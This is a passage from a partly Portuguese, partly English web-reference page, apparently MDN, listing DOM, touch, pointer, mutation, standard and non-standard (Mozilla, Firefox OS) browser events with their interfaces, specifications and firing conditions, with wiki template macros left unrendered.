- {{event("mozbrowsercontextmenu")}}
- {{event("mozbrowsererror")}}
- {{event("mozbrowsericonchange")}}
- {{event("mozbrowserlocationchange")}}
- {{event("mozbrowserloadend")}}
- {{event("mozbrowserloadstart")}}
- {{event("mozbrowseropenwindow")}}
- {{event("mozbrowsersecuritychange")}}
- {{event("mozbrowsershowmodalprompt")}} (link)
- {{event("mozbrowsertitlechange")}}
- DOMFrameContentLoaded

- -

Eventos de mutação de DOM

- -

DOMAttributeNameChanged
- DOMAttrModified
- DOMCharacterDataModified
- {{event("DOMContentLoaded")}}
- DOMElementNameChanged
- DOMNodeInserted
- DOMNodeInsertedIntoDocument
- DOMNodeRemoved
- DOMNodeRemovedFromDocument
- DOMSubtreeModified

- -

Eventos de toque

- -

MozEdgeUIGesture
- MozMagnifyGesture
- MozMagnifyGestureStart
- MozMagnifyGestureUpdate
- MozPressTapGesture
- MozRotateGesture
- MozRotateGestureStart
- MozRotateGestureUpdate
- MozSwipeGesture
- MozTapGesture
- MozTouchDown
- MozTouchMove
- MozTouchUp
- {{event("touchcancel")}}
- {{event("touchend")}}
- {{event("touchenter")}}
- {{event("touchleave")}}
- {{event("touchmove")}}
- {{event("touchstart")}}

- -

Eventos de pointer

- -

{{event("pointerover")}}
- {{event("pointerenter")}}
- {{event("pointerdown")}}
- {{event("pointermove")}}
- {{event("pointerup")}}
- {{event("pointercancel")}}
- {{event("pointerout")}}
- {{event("pointerleave")}}
- {{event("gotpointercapture")}}
- {{event("lostpointercapture")}}

- -

Eventos padrão

- -

These events are defined in official Web specifications, and should be common across browsers. Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("abort")}}{{domxref("UIEvent")}}DOM L3The loading of a resource has been aborted.
abort{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been terminated (not due to an error).
abort{{domxref("Event")}}IndexedDBA transaction has been aborted.
{{event("afterprint")}}{{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document has started printing or the print preview has been closed.
{{event("animationend")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has completed.
{{event("animationiteration")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation is repeated.
{{event("animationstart")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has started.
{{event("appinstalled")}}{{domxref("Event")}}Web App ManifestA web application is successfully installed as a progressive web app.
{{event("audioprocess")}}{{domxref("AudioProcessingEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
{{event("audioend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has finished capturing audio for speech recognition.
{{event("audiostart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has started to capture audio for speech recognition.
{{event("beforeprint")}} {{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document is about to be printed or previewed for printing.
{{event("beforeunload")}}{{domxref("BeforeUnloadEvent")}}HTML5 The window, the document and its resources are about to be unloaded.
{{event("beginEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element begins.
blocked IndexedDBAn open connection to a database is blocking a versionchange transaction on the same database.
{{event("blur")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (does not bubble).
{{event("boundary")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a word or sentence boundary
{{event("cached")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been downloaded, and the application is now cached.
{{event("canplay")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media up to its end without having to stop for further buffering of content.
{{event("change")}}{{domxref("Event")}}DOM L2, HTML5The change event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.
{{event("chargingchange")}}{{domxref("Event")}}Battery statusThe battery begins or stops charging.
{{event("chargingtimechange")}}{{domxref("Event")}}Battery statusThe chargingTime attribute has been updated.
{{event("checking")}}{{domxref("Event")}}OfflineThe user agent is checking for an update, or attempting to download the cache manifest for the first time.
{{event("click")}}{{domxref("MouseEvent")}}DOM L3A pointing device button has been pressed and released on an element.
close{{domxref("Event")}}WebSocketA WebSocket connection has been closed.
complete IndexedDBA transaction successfully completed.
{{event("complete")}}{{domxref("OfflineAudioCompletionEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("compositionend")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text has been completed or canceled.
{{event("compositionstart")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3A character is added to a passage of text being composed.
{{event("contextmenu")}}{{domxref("MouseEvent")}}HTML5The right button of the mouse is clicked (before the context menu is displayed).
{{event("copy")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been added to the clipboard.
{{event("cut")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been removed from the document and added to the clipboard.
{{event("dblclick")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is clicked twice on an element.
{{event("devicechange")}}{{domxref("Event")}}{{SpecName("Media Capture")}}A media device such as a camera, microphone, or speaker is connected or removed from the system.
{{event("devicelight")}}{{domxref("DeviceLightEvent")}} {{experimental_inline}}Ambient Light EventsFresh data is available from a light sensor.
{{event("devicemotion")}}{{domxref("DeviceMotionEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from a motion sensor.
{{event("deviceorientation")}}{{domxref("DeviceOrientationEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from an orientation sensor.
{{event("deviceproximity")}}{{domxref("DeviceProximityEvent")}} {{experimental_inline}}Proximity EventsFresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).
{{event("dischargingtimechange")}}{{domxref("Event")}}Battery statusThe dischargingTime attribute has been updated.
DOMActivate {{deprecated_inline}}{{domxref("UIEvent")}}DOM L3A button, link or state changing element is activated (use {{event("click")}} instead).
DOMAttributeNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an attribute changed (use mutation observers instead).
DOMAttrModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3The value of an attribute has been modified (use mutation observers instead).
DOMCharacterDataModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A text or another CharacterData has changed (use mutation observers instead).
{{event("DOMContentLoaded")}}{{domxref("Event")}}HTML5The document has finished loading (but not its dependent resources).
DOMElementNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an element changed (use mutation observers instead).
DOMFocusIn {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).
DOMFocusOut {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).
DOMNodeInserted {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been added as a child of another node (use mutation observers instead).
DOMNodeInsertedIntoDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been inserted into the document (use mutation observers instead).
DOMNodeRemoved {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from its parent node (use mutation observers instead).
DOMNodeRemovedFromDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from the document (use mutation observers instead).
DOMSubtreeModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A change happened in the document (use mutation observers instead).
{{event("downloading")}}{{domxref("Event")}}OfflineThe user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
{{event("drag")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged (every 350ms).
{{event("dragend")}}{{domxref("DragEvent")}}HTML5A drag operation is being ended (by releasing a mouse button or hitting the escape key).
{{event("dragenter")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection enters a valid drop target.
{{event("dragleave")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection leaves a valid drop target.
{{event("dragover")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged over a valid drop target (every 350ms).
{{event("dragstart")}}{{domxref("DragEvent")}}HTML5The user starts dragging an element or text selection.
{{event("drop")}}{{domxref("DragEvent")}}HTML5An element is dropped on a valid drop target.
{{event("durationchange")}}{{domxref("Event")}}HTML5 mediaThe duration attribute has been updated.
{{event("emptied")}}{{domxref("Event")}}HTML5 mediaThe media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("end_(SpeechRecognition)","end")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has disconnected.
{{event("end_(SpeechSynthesis)","end")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName("Web Speech API")}}The utterance has finished being spoken.
{{event("ended")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because the end of the media was reached.
{{event("ended_(Web_Audio)", "ended")}}{{domxref("Event")}}{{SpecName("Web Audio API")}}Playback has stopped because the end of the media was reached.
{{event("endEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element ends.
{{event("error")}}{{domxref("UIEvent")}}DOM L3A resource failed to load.
{{event("error")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso falhou.
{{event("error")}}{{domxref("Event")}}OfflineAn error occurred while downloading the cache manifest or updating the content of the application.
{{event("error")}}{{domxref("Event")}}WebSocketA WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
{{event("error")}}{{domxref("Event")}}Server Sent EventsAn event source connection has been failed.
{{event("error")}}{{domxref("Event")}}IndexedDBA request caused an error and failed.
{{event("error_(SpeechRecognitionError)","error")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}A speech recognition error occurs.
{{event("error_(SpeechSynthesisError)","error")}}{{domxref("SpeechSynthesisErrorEvent")}}{{SpecName('Web Speech API')}}An error occurs that prevents the utterance from being successfully spoken.
{{event("focus")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (does not bubble).
{{event("focusin")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to receive focus (bubbles).
{{event("focusout")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to lose focus (bubbles).
{{event("fullscreenchange")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenAn element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenIt was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("gamepadconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been connected.
{{event("gamepaddisconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been disconnected.
{{event("gotpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement receives pointer capture.
{{event("hashchange")}}{{domxref("HashChangeEvent")}}HTML5The fragment identifier of the URL has changed (the part of the URL after the #).
{{event("lostpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement lost pointer capture.
{{event("input")}}{{domxref("Event")}}HTML5The value of an element changes or the content of an element with the attribute contenteditable is modified.
{{event("invalid")}}{{domxref("Event")}}HTML5A submittable element has been checked and doesn't satisfy its constraints.
{{event("keydown")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down.
{{event("keypress")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down and that key normally produces a character value (use input instead).
{{event("keyup")}}{{domxref("KeyboardEvent")}}DOM L3A key is released.
{{event("languagechange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}The user's preferred languages have changed.
{{event("levelchange")}}{{domxref("Event")}}Battery statusThe level attribute has been updated.
{{event("load")}}{{domxref("UIEvent")}}DOM L3A resource and its dependent resources have finished loading.
load{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been successful.
{{event("loadeddata")}}{{domxref("Event")}}HTML5 mediaThe first frame of the media has finished loading.
{{event("loadedmetadata")}}{{domxref("Event")}}HTML5 mediaThe metadata has been loaded.
{{event("loadend")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgress has stopped (after "error", "abort" or "load" have been dispatched).
{{event("loadstart")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso começou.
{{event("mark")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a named SSML "mark" tag.
message{{domxref("MessageEvent")}}WebSocketA message is received through a WebSocket.
message{{domxref("MessageEvent")}}Web WorkersA message is received from a Web Worker.
message{{domxref("MessageEvent")}}Web MessagingA message is received from a child (i)frame or a parent window.
message{{domxref("MessageEvent")}}Server Sent EventsA message is received through an event source.
{{event("messageerror")}}{{domxref("MessageEvent")}}{{domxref("MessagePort")}}, Web Workers, Broadcast Channel, {{domxref("Window")}}A message error is raised when a message is received by an object.
{{event("message_(ServiceWorker)","message")}} {{experimental_inline}}{{domxref("ServiceWorkerMessageEvent")}} or {{domxref("ExtendableMessageEvent")}}, depending on context.Service WorkersA message is received from a service worker, or a message is received in a service worker from another context.
{{event("mousedown")}}{{domxref("MouseEvent")}}DOM L3A pointing device button (usually a mouse) is pressed on an element.
{{event("mouseenter")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached.
{{event("mouseleave")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached.
{{event("mousemove")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved over an element.
{{event("mouseout")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("mouseover")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mouseup")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is released over an element.
{{event("nomatch")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}}{{SpecName('Web Speech API')}}The speech recognition service returns a final result with no significant recognition.
{{event("notificationclick")}}{{domxref("NotificationEvent")}} {{experimental_inline}}{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}A system notification spawned by {{domxref("ServiceWorkerRegistration.showNotification()")}} has been clicked.
{{event("noupdate")}}{{domxref("Event")}}OfflineThe manifest hadn't changed.
{{event("obsolete")}}{{domxref("Event")}}OfflineThe manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
{{event("offline")}}{{domxref("Event")}}HTML5 offlineThe browser has lost access to the network.
{{event("online")}}{{domxref("Event")}}HTML5 offlineThe browser has gained access to the network (but particular websites might be unreachable).
open{{domxref("Event")}}WebSocketA WebSocket connection has been established.
open{{domxref("Event")}}Server Sent EventsAn event source connection has been established.
{{event("orientationchange")}}{{domxref("Event")}}Screen OrientationThe orientation of the device (portrait/landscape) has changed
{{event("pagehide")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed from.
{{event("pageshow")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed to.
{{event("paste")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardData has been transferred from the system clipboard to the document.
{{event("pause")}}{{domxref("Event")}}HTML5 mediaPlayback has been paused.
{{event("pause_(SpeechSynthesis)", "pause")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance is paused part way through.
{{event("pointercancel")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer is unlikely to produce any more events.
{{event("pointerdown")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer enters the active buttons state.
{{event("pointerenter")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved inside the hit-testing boundary.
{{event("pointerleave")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved out of the hit-testing boundary.
{{event("pointerlockchange")}}{{domxref("Event")}}Pointer LockThe pointer was locked or released.
{{event("pointerlockerror")}}{{domxref("Event")}}Pointer LockIt was impossible to lock the pointer for technical reasons or because the permission was denied.
{{event("pointermove")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer changed coordinates.
{{event("pointerout")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device moved out of hit-testing boundary or leaves detectable hover range.
{{event("pointerover")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device is moved into the hit-testing boundary.
{{event("pointerup")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer leaves the active buttons state.
{{event("play")}}{{domxref("Event")}}HTML5 mediaPlayback has begun.
{{event("playing")}}{{domxref("Event")}}HTML5 mediaPlayback is ready to start after having been paused or delayed due to lack of data.
{{event("popstate")}}{{domxref("PopStateEvent")}}HTML5A session history entry is being navigated to (in certain cases).
{{event("progress")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestEm progresso.
progress{{domxref("ProgressEvent")}}OfflineThe user agent is downloading resources listed by the manifest.
{{event("push")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A Service Worker has received a push message.
{{event("pushsubscriptionchange")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A PushSubscription has expired.
{{event("ratechange")}}{{domxref("Event")}}HTML5 mediaThe playback rate has changed.
{{event("readystatechange")}}{{domxref("Event")}}HTML5 and XMLHttpRequestThe readyState attribute of a document has changed.
{{event("repeatEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element is repeated.
{{event("reset")}}{{domxref("Event")}}DOM L2, HTML5A form is reset.
{{event("resize")}}{{domxref("UIEvent")}}DOM L3The document view has been resized.
{{event("resourcetimingbufferfull")}}{{domxref("Performance")}}Resource TimingThe browser's resource timing buffer is full.
{{event("result")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
{{event("resume")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}A paused utterance is resumed.
{{event("scroll")}}{{domxref("UIEvent")}}DOM L3The document view or an element has been scrolled.
{{event("seeked")}}{{domxref("Event")}}HTML5 mediaA seek operation completed.
{{event("seeking")}}{{domxref("Event")}}HTML5 mediaA seek operation began.
{{event("select")}}{{domxref("UIEvent")}}DOM L3Some text is being selected.
{{event("selectstart")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}A selection just started.
{{event("selectionchange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}The selection in the document has been changed.
{{event("show")}}{{domxref("MouseEvent")}}HTML5A contextmenu event was fired on/bubbled to an element that has a contextmenu attribute
{{event("soundend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has stopped being detected.
{{event("soundstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has been detected.
{{event("speechend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Speech recognised by the speech recognition service has stopped being detected.
{{event("speechstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Sound that is recognised by the speech recognition service as speech has been detected.
{{event("stalled")}}{{domxref("Event")}}HTML5 mediaThe user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("start_(SpeechRecognition)","start")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
{{event("start_(SpeechSynthesis)","start")}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance has begun to be spoken.
{{event("storage")}}{{domxref("StorageEvent")}}Web StorageA storage area (localStorage or sessionStorage) has changed.
{{event("submit")}}{{domxref("Event")}}DOM L2, HTML5A form is submitted.
success{{domxref("Event")}}IndexedDBA request successfully completed.
{{event("suspend")}}{{domxref("Event")}}HTML5 mediaMedia data loading has been suspended.
{{event("SVGAbort")}}{{domxref("SVGEvent")}}SVGPage loading has been stopped before the SVG was loaded.
{{event("SVGError")}}{{domxref("SVGEvent")}}SVGAn error has occurred before the SVG was loaded.
{{event("SVGLoad")}}{{domxref("SVGEvent")}}SVGAn SVG document has been loaded and parsed.
{{event("SVGResize")}}{{domxref("SVGEvent")}}SVGAn SVG document is being resized.
{{event("SVGScroll")}}{{domxref("SVGEvent")}}SVGAn SVG document is being scrolled.
{{event("SVGUnload")}}{{domxref("SVGEvent")}}SVGAn SVG document has been removed from a window or frame.
{{event("SVGZoom")}}{{domxref("SVGZoomEvent")}}SVGAn SVG document is being zoomed.
{{event("timeout")}}{{domxref("ProgressEvent")}}XMLHttpRequest 
{{event("timeupdate")}}{{domxref("Event")}}HTML5 mediaThe time indicated by the currentTime attribute has been updated.
{{event("touchcancel")}}{{domxref("TouchEvent")}}Touch EventsA touch point has been disrupted in an implementation-specific manners (too many touch points for example).
{{event("touchend")}}{{domxref("TouchEvent")}}Touch EventsA touch point is removed from the touch surface.
{{event("touchmove")}}{{domxref("TouchEvent")}}Touch EventsA touch point is moved along the touch surface.
{{event("touchstart")}}{{domxref("TouchEvent")}}Touch EventsA touch point is placed on the touch surface.
{{event("transitionend")}}{{domxref("TransitionEvent")}} {{experimental_inline}}CSS TransitionsA CSS transition has completed.
{{event("unload")}}{{domxref("UIEvent")}}DOM L3The document or a dependent resource is being unloaded.
{{event("updateready")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been newly redownloaded, and the script can use swapCache() to switch to the new cache.
upgradeneeded IndexedDBAn attempt was made to open a database with a version number higher than its current version. A versionchange transaction has been created.
{{event("userproximity")}}{{domxref("UserProximityEvent")}} {{experimental_inline}}{{SpecName("Proximity Events")}}Fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
{{event("voiceschanged")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The list of {{domxref("SpeechSynthesisVoice")}} objects that would be returned by the {{domxref("SpeechSynthesis.getVoices()")}} method has changed (when the {{event("voiceschanged")}} event fires.)
versionchange IndexedDBA versionchange transaction completed.
{{event("visibilitychange")}}{{domxref("Event")}}Page visibilityThe content of a tab has become visible or has been hidden.
{{event("volumechange")}}{{domxref("Event")}}HTML5 mediaThe volume has changed.
{{event("waiting")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because of a temporary lack of data.
{{event("wheel")}}{{gecko_minversion_inline("17")}}{{domxref("WheelEvent")}}DOM L3A wheel button of a pointing device is rotated in any direction.
- -

Eventos não padrão

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("afterscriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script has been executed.
{{event("beforescriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script is about to be executed.
{{event("beforeinstallprompt")}}{{domxref("Event")}}Chrome specificA user is prompted to save a web site to a home screen on mobile.
{{event("cardstatechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.cardState")}} property changes value.
{{event("change")}}{{domxref("DeviceStorageChangeEvent")}}Firefox OS specificThis event is triggered each time a file is created, modified or deleted on a given storage area.
{{event("connectionInfoUpdate")}} Firefox OS specificThe informations about the signal strength and the link speed have been updated.
{{event("cfstatechange")}} Firefox OS specificThe call forwarding state changes.
{{event("datachange")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object changes values.
{{event("dataerror")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object receive an error from the RIL.
{{event("DOMMouseScroll")}}{{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)
dragdrop {{deprecated_inline}}DragEventMozilla specificAn element is dropped (use {{event("drop")}} instead).
dragexit {{deprecated_inline}}DragEventMozilla specificA drag operation is being ended(use {{event("dragend")}} instead).
draggesture {{deprecated_inline}}DragEventMozilla specificThe user starts dragging an element or text selection (use {{event("dragstart")}} instead).
{{event("icccardlockerror")}} Firefox OS specificthe {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.
{{event("iccinfochange")}} Firefox OS specificThe {{domxref("MozMobileConnection.iccInfo")}} object changes.
{{event("localized")}} Mozilla SpecificThe page has been localized using data-l10n-* attributes.
{{event("mousewheel")}}{{deprecated_inline}} IE inventedThe wheel button of a pointing device is rotated.
{{event("MozAudioAvailable")}}{{domxref("Event")}}Mozilla specificThe audio buffer is full and the corresponding raw samples are available.
MozBeforeResize {{obsolete_inline}} Mozilla specificUma janela está prestes a ser redimensionada.
{{event("mozbrowseractivitydone")}} Firefox OS Browser API-specificSent when some activity has been completed (complete description TBD.)
{{event("mozbrowserasyncscroll")}} Firefox OS Browser API-specificSent when the scroll position within a browser {{HTMLElement("iframe")}} changes.
{{event("mozbrowseraudioplaybackchange")}} Firefox OS Browser API-specificSent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.
{{event("mozbrowsercaretstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.
{{event("mozbrowserclose")}} Firefox OS Browser API-specificSent when window.close() is called within a browser {{HTMLElement("iframe")}}.
{{event("mozbrowsercontextmenu")}} Firefox OS Browser API-specificSent when a browser {{HTMLElement("iframe")}} try to open a context menu.
